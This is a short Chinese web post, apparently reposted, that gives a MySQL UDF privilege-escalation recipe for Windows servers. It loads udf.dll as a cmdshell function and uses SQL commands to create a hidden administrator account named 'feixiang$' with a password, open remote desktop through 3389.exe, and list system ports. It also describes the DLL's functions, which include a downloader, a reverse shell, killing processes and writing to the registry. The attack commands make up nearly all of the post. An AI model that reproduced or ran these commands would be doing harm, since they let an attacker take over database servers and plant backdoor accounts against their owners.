注册
登录
| 关键词： nbsp cmdshell 函数 select 注册表 端口 udf feixiang function 进程 |
先找ROOT账户 C:\Winnt\udf.dll 2000C:\Windows\udf.dll 2003 现在基本上win的服务器就这两个导出UDF.DLL create function cmdshell returns string soname 'udf.dll'select cmdshell('net user feixiang$ chen9696* /add'); select cmdshell('net localgroup administrators feixiang$ /add'); ！select cmdshell('c:\3389.exe'); drop function cmdshell; 删除函数select cmdshell('netstat -an'); 四、功能函数说明：cmdshell 执行cmd; downloader 下载者,到网上下载指定文件并保存到指定目录; open3389 通用开3389终端服务,可指定端口(不改端口无需重启); backshell 反弹Shell; ProcessView 枚举系统进程; KillProcess 终止指定进程; regread 读注册表; regwrite 写注册表; shut 关机,注销,重启; about 说明与帮助函数; |
|
声明：文章版权归原作者所有 部分文章转自互联网 如有侵权请联系
[邮箱地址] 删除
|
